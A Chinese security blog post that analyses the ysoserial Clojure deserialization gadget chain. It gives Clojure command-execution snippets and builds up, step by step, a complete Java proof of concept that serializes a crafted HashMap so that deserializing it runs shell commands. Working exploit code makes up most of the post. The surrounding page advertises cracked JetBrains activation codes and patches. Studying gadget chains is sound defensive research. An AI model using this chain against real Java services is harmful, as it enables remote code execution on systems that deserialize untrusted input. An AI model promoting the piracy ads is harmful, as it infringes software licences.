专注于 JetBrains IDEA 全家桶,永久激活,教程
持续更新 PyCharm,IDEA,WebStorm,PhpStorm,DataGrip,RubyMine,CLion,AppCode 永久激活教程

Clojure链漏洞利用详解:构造利用链执行任意命令实战解析

Clojure 链

  • 前言

  • Clojure 简介

    本地 Clojure 环境安装

  • 链路分析

  • 分析前置信息

    main$eval_opt::invoke -> 危险方法

    core$comp$fn__4727::invoke -> 链式调用

    core$constantly::invoke -> 对象封装

    AbstractTableModel$ff19274a::n个方法

    HashMap::readObject -> 链路开头

  • Ending...

前言

Clojure @JackOfMostTrades clojure1.8.0

一条 RCE 链, 链路挺有意思, 充分体现了继承|多态, 该组件与 BeanShell, Groovy 相似, 对于它的介绍也需要絮叨絮叨.

Clojure 简介

对于 Clojure 是什么, 可以参考http://www.clojurechina.com/post/kai-shi-xue-clojure/ 文章说的比较详细, 不过是 Mac 环境搭建的说明.

而在 Windows 中, 可参考: https://www.w3cschool.cn/clojure/clojure_environment.html, 相当于一个 API 文档来用.

实际上这门语言一些第三方网站也提供了在线运行环境, 例如: https://www.bejson.com/runcode/clojure/

而官网为: https://clojure.org/, 从中可以找到官方的 API 文档以及介绍.

以及相应语法的案例: https://clojuredocs.org/clojure.core

当然使用在线环境总会给人一种不切实际的感觉, 下面进行本地安装调试环境逐步进行理解.

本地 Clojure 环境安装

首先在 IDEA 中进行安装扩展:

img_1

Leiningen 是 Clojure 的 项目管理和构建工具 ,类似于 Java 中的 Maven 或 Gradle。

随后去 Maven 官方: https://mvnrepository.com/artifact/org.clojure/clojure/1.10.1 安装 clojure 包, 并且将它所需的依赖包也安装:

img_2

安装之后由于我们安装了Cursive, 所以在IDEA中可以直接创建Clojure项目, 如下:

img_3

随后创建对应的代码并运行即可:

img_4

而这里 IDEA 运行 Clojure 的命令行如下:

java.exe -classpath C:\Users\Administrator\Desktop\yuanma01\untitled\src;D:\clojure-1.10.1.jar;D:\core.specs.alpha-0.2.44.jar;D:\spec.alpha-0.2.176.jar clojure.main C:/Users/Administrator/Desktop/yuanma01/untitled/src/MyDemo.clj

Clojure 原生运行

在刚刚我们的IDEA中已经见到了, 最终成功输出了Hello World, 且通过IDEA中执行的命令行可以知道的是它主要使用的是clojure-1.10.1.jar这个jar包, 在该jar包中存在clojure.main类, 定义如下:

img_5

以原生的java运行我们只需要使用ClassPath (-classpath / -cp)指明该Jar包其目的是为了令AppClassLoader能够加载到我们的类, 随后运行AppClassLoader搜索路径中的clojure.main即可, 完整命令如下:

java -cp "D:\clojure-1.10.1.jar;D:\core.specs.alpha-0.2.44.jar;D:\spec.alpha-0.2.176.jar" clojure.main

命令行调试结果:

img_6

除了这种方式以外, 我们还可以指明.clj文件直接运行, 如下:

img_7

几个代码执行 Demo

通过 Clojure 本身进行命令执行

我们知道了, Clojure是一门编程语言, 根据它的语法我们可以创建如下执行命令的方式.

通过 Clojure 提供的 Shell:

(use '[clojure.java.shell :only [sh]]) (sh "calc")
(use '[clojure.java.shell])                                 ; 引入所有
(sh "calc")
(ns MyDemo03
  (:require [clojure.java.shell :as shell]))  ; 加载命名空间并设置别名
(shell/sh "calc")  ; 通过别名调用 sh 函数

引入 Java 的 Runtime 并执行命令:

(. (java.lang.Runtime/getRuntime) exec "whoami")

通过 Eval 调用 Clojure Shell:

(ns MyDemo05)
;; 加载 clojure.java.shell 命名空间
(eval '(require '[clojure.java.shell :as sh]))
;; 执行 shell 命令
(eval '(sh/sh "ls" "-la"))

利用 read-string + eval 进行命令执行:

(read-string "#=(eval (. (Runtime/getRuntime) exec \"calc\"))")
参考: https://clojuredocs.org/clojure.core/*read-eval*

以及 *read-eval* 的利用:

(eval (binding [*read-eval* false] (read-string "(. (Runtime/getRuntime) exec \"calc\")")))
参考: https://clojuredocs.org/clojure.core/*read-eval*

最终运行结果都会弹窗. 这里使用 IDEA 中执行命令的方式:

img_8

以上案例均可以在官网 API 中找到使用案例. 不一样的就是可以自己做一些小小的变形.

通过 Java API 进行操作

Clojure 提供了 JavaAPI, 链接: https://clojure.github.io/clojure/javadoc/

官网提供的案例如下:

package com.heihu577;
import clojure.lang.RT;
import clojure.lang.Var;
public class EvalClojure3 {
    public static void main(String[] args) {
        Var myVar = RT.var("clojure.core", "+");
        System.out.println(myVar.invoke(1, 2));
        /*
         对应 Clojure 代码: (+ 1 2)
        */
    }
}

以及一个稍微复杂一点的案例:

IFn map = Clojure.var("clojure.core", "map");
IFn inc = Clojure.var("clojure.core", "inc");
clojure.lang.LazySeq seq = (clojure.lang.LazySeq) map.invoke(inc, Clojure.read("[1 2 3]"));
for (Object o : seq) {
    System.out.print(o + " ");
    /*
    * 输出 2 3 4
    * */
}
/*
* 对应 Clojure 代码: (map inc [1 2 3])
* */
命令执行

根据官方文档以及 Clojure 自己本身的语法可以编写出如下代码调用 API 进行命令执行:

package com.heihu577;
import clojure.lang.RT;
import clojure.lang.Var;
public class EvalClojure {
    public static void main(String[] args) {
        Var var = RT.var("clojure.core", "use"); // use -> 从 clojure.core 中引入 use
        var.invoke(RT.readString("clojure.java.shell")); // (use '[clojure.java.shell]) -> 引入 clojure.java.shell
        Var var2 = RT.var("clojure.java.shell", "sh"); // sh -> 从 clojure.java.shell 中引入 sh
        var2.invoke("calc"); // (sh "calc") -> 执行
        /*
         (use '[clojure.java.shell])
         (sh "calc")
        */
    }
}
通过 eval 命令执行

通过 eval 进行执行较简单, 如下:

Var eval = RT.var("clojure.core", "eval");
eval.invoke(RT.readString("(.exec (java.lang.Runtime/getRuntime) \"calc\")"));
// (eval (.exec (java.lang.Runtime/getRuntime) "calc"))

以及:

package com.heihu577;
import clojure.lang.IFn;
import clojure.lang.RT;
public class EvalClojure2 {
    public static void main(String[] args) {
        // 获取 Clojure 的 eval 函数引用
        IFn eval = RT.var("clojure.core", "eval");
        // 加载 clojure.java.shell 命名空间
        eval.invoke(RT.readString("(require '[clojure.java.shell :as sh])"));
        // 执行 shell 命令 (ls -la)
        Object result = eval.invoke(RT.readString("(sh/sh \"ls\" \"-la\")"));
        // 处理结果
        System.out.println("命令执行结果:");
        System.out.println(result);
        /*
            (eval '(require '[clojure.java.shell :as sh]))
            (eval '(sh/sh "ls" "-la"))
        */
    }
}

查看调用栈【文件加载 & 交互式代码执行 & JavaAPI】

到现在我们知道Clojure有两种调用方式, 一种是指明文件一种是代码执行, 它们命令行分别如下:

java -cp "D:\clojure-1.10.1.jar;D:\core.specs.alpha-0.2.44.jar;D:\spec.alpha-0.2.176.jar" clojure.main 想要执行的文件名

以及

java -cp "D:\clojure-1.10.1.jar;D:\core.specs.alpha-0.2.44.jar;D:\spec.alpha-0.2.176.jar" clojure.main

那么这两种方式在Java内部会发生什么呢? 也就是说, 他们的调用栈是什么? 实际上这里可以通过一个Clojure的语法将异常抛出, 我们准备如下语法:

(try
  ;; 可能抛出异常的代码
  (throw (Exception. "自定义异常"))
  (catch Exception e
    ;; 打印完整调用栈
    (.printStackTrace e)))

也就是主动的的去抛出一个异常, 随后即可爆出 Java 内部的调用栈, 我们可以观察文件加载 & 交互式代码执行这两种不同的方式的调用栈, 首先是交互式代码执行方式:

img_9

在这里我们可以看到的是, clojure.core$eval::invokeStatic最终会调用到clojure的编译器中进行执行, 那么再来看一下文件加载的逻辑:

img_10

最终使用的是clojure.main$script_opt进行文件加载, 除了Java异常会暴露函数之间的调用过程, 我们还可以通过在clj文件中执行错误的命令, 来查看到Clojure所给出的调用栈信息:

img_11

Clojure主动将异常信息保存到C:\Users\ADMINI~1\AppData\Local\Temp\clojure-1574820234496758481.edn中, 查看文件内容如下:

img_12

以及在Java API中也可以看到其调用栈:

Var eval = RT.var("clojure.core", "eval");
eval.invoke(RT.readString("(.exec (java.lang.Runtime/getRuntime) \"cal\")"));

img_13

链路分析

经过上述一系列介绍, 已经对 Clojure 是什么, 组件依赖, 使用方式, 在 Java 中调用 API 有了清晰的理解, 实际上对于该语言的使用始终会调用到 Clojure 中核心依赖部分, 所以后续的分析也都是在核心依赖中的某些类, 某些危险函数的分析. 接下来就是对 ysoserial 中的链路分析.

分析前置信息

img_14

ysoserial中最终使用的是main$eval_opt进行调用的, 而该类使用的官方语法是*read-eval*, 这一部分可以在:

https://clojuredocs.org/clojure.core/*read-eval*

中看到其使用方法, 例如:

user=> (eval (binding [*read-eval* false] (read-string "(. (Runtime/getRuntime) exec \"whoami\")")))
#object[java.lang.ProcessImpl 0x42a9e5d1 "java.lang.ProcessImpl@42a9e5d1"]

的一次命令执行案例, 其核心则是与read-string, binding, eval组合完成的.

main$eval_opt::invoke -> 危险方法

由于该链不是人工挖出来的, 而是gadget-inspector工具挖掘出来的, 其底层源码较为复杂, 并且我们知道的是*read-eval*是可以代码执行的, 所以没必要查看底层逻辑, 给出代码执行案例如下:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"whoami\")";
main$eval_opt main$evalOpt = new main$eval_opt();
Object invoke = main$evalOpt.invoke(clojurePayload);
// 控制台输出: {:exit 0, :out "heihubook\\administrator\r\n", :err ""}

main$eval_opt这个类实现了Serializable, 如图:

img_15

并且在invoke方法接收的参数可控时会造成clojure的代码执行漏洞, 如图:

img_16

其最终解析结果实际上会调用到shell$sh::invokeStatic, 其解析过程不再赘述:

img_17

corefn__4727::invoke -> 链式调用

接下来来看谁通过多态调用了main$eval_opt::invoke方法, 最终可以发现:

img_18

main$eval_opt继承于IFn, 遵循多态性. 而这边传递的参数则是该invoke方法传递过来的值. main$eval_opt的构造方法如下:

public final class core$comp$fn__4727 extends RestFn {
    Object g;
    Object f;
    public core$comp$fn__4727(Object var1, Object var2) {
        this.g = var1; // 只需要 g 可控即可
        this.f = var2;
    }
}

根据这个案例我们可以编写出如下 Demo:

package com.heihu577;
import clojure.core$comp$fn__4727;
import clojure.main$eval_opt;
public class Poc {
    public static void main(String[] args) {
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")";
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
        core$comp$fn__4727.invoke(clojurePayload);
    }
}

运行即可弹出计算器. 现在问题又来了, 谁又调用了core$comp$fn__4727::invoke方法呢?

core$constantly::invoke -> 对象封装

ysoserial中实际上没有地方调用core$comp$fn__4727::invoke方法, 但是引入了core$constantly类, 该类的invoke方法返回任意对象, 如图:

img_19

core$constantly::doInvoke方法会返回core$constantly::invoke传递进来的对象, 可以使用如下 DEMO 解释:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")"; // 注意该变量没在程序中使用.
main$eval_opt main$evalOpt = new main$eval_opt();
core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
core$constantly core$constantly = new core$constantly();
core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(core$comp$fn__4727);
// 通过 invoke 封装对象
System.out.println(coreConstantlyFn.doInvoke("任意值~") == core$comp$fn__4727);
// 调用到 doInvoke 方法后, 最终会得到传递过去的对象, 比较结果为 true

而由于core$constantly$fn__4614继承了RestFn, RestFn提供了invoke方法可以进行调用doInvoke, 如图:

img_20

所以我们可以直接调用invoke方法进行返回对象, 这是第二种方式:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")";
main$eval_opt main$evalOpt = new main$eval_opt();
core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
core$constantly core$constantly = new core$constantly();
core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(core$comp$fn__4727);
// 通过 invoke 封装对象
System.out.println(coreConstantlyFn.invoke("任意内容") == core$comp$fn__4727);
// 注意这里可以调用 invoke 方法, 传入和不传入参数都可以~, 因为重写了很多 invoke 方法, 最终返回 true.

corefn__4727::invoke & core$constantly::invoke 组合使用

知道上述理论后, 我们可以重新观看一下core$comp$fn__4727::invoke & core$constantly::invoke, 看看他们之间如何进行配合使用:

img_21

经过上述描述, 当前的测试 POC 可以如下所示:

package com.heihu577;
import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.main$eval_opt;
public class Poc {
    public static void main(String[] args) {
        // 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
        // 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
        // 调用 invoke 造成命令执行
        core$comp$fn__4727.invoke();
        core$comp$fn__4727.invoke("第二次弹窗~");
    }
}

运行即可弹窗两次.

AbstractTableModel$ff19274a::n个方法

现在思考一个问题, 谁调用了core$comp$fn__4727.invoke方法呢?答案是AbstractTableModel$ff19274a这个类, 该类中定义了很多方法都可以进行利用, 如图:

img_22

图中this.__clojureFnMap可以进行初始化:

img_23

__clojureFnMap这个成员属性的值应该如何创建呢?看一下谁继承了它并可以进行初始化:

img_24

最终可以编写如下POC, 并且手动调用hashCode方法进行命令执行:

package com.heihu577;
import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentHashMap;
import clojure.main$eval_opt;
import java.util.HashMap;
public class Poc {
    public static void main(String[] args) {
        // 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
        // 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
        // 准备 Map
        AbstractTableModel$ff19274a abstractTableModel$ff19274a = new AbstractTableModel$ff19274a();
        HashMap<Object, Object> hsmap = new HashMap<>();
        hsmap.put("hashCode", core$comp$fn__4727);
        abstractTableModel$ff19274a.__initClojureFnMappings(PersistentHashMap.create(hsmap));
        abstractTableModel$ff19274a.hashCode(); // 手动调用  hashCode, 命令执行
    }
}

HashMap::readObject -> 链路开头

而我们知道的是, HashMap重写了readObject方法, 并且它的Key会进行计算hash值, 从而调用其hashCode方法进行计算, 那么这里则是链路开头, 编写 POC:

package com.heihu577;
import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentHashMap;
import clojure.main$eval_opt;
import java.io.*;
import java.util.HashMap;
public class Poc {
    public static void main(String[] args) throws Exception {
        // 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh \"calc\")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
        // 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
        // 准备 Map
        AbstractTableModel$ff19274a abstractTableModel$ff19274a = new AbstractTableModel$ff19274a();
        // 链路开头
        HashMap<Object, Object> evilMap = new HashMap<>();
        evilMap.put(abstractTableModel$ff19274a, "");
        // 防止 put 时调用 hashCode 进行计算从而进入链路, 在 put 完后再初始化
        HashMap<Object, Object> hsmap = new HashMap<>();
        hsmap.put("hashCode", core$comp$fn__4727);
        abstractTableModel$ff19274a.__initClojureFnMappings(PersistentHashMap.create(hsmap));
        // 序列化与反序列化
        unserialize(serialize(evilMap));
    }
    public static ByteArrayOutputStream serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        return byteArrayOutputStream;
    }
    public static Object unserialize(ByteArrayOutputStream byteArrayOutputStream) throws IOException, ClassNotFoundException {
        return new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
    }
}

运行即可弹出计算器~

Ending...

未经允许不得转载:搜云库 » Clojure链漏洞利用详解:构造利用链执行任意命令实战解析

JetBrains 全家桶,激活、破解、教程

提供 JetBrains 全家桶激活码、注册码、破解补丁下载及详细激活教程,支持 IntelliJ IDEA、PyCharm、WebStorm 等工具的永久激活。无论是破解教程,还是最新激活码,均可免费获得,帮助开发者解决常见激活问题,确保轻松破解并快速使用 JetBrains 软件。获取免费的破解补丁和激活码,快速解决激活难题,全面覆盖 2024/2025 版本!

联系我们联系我们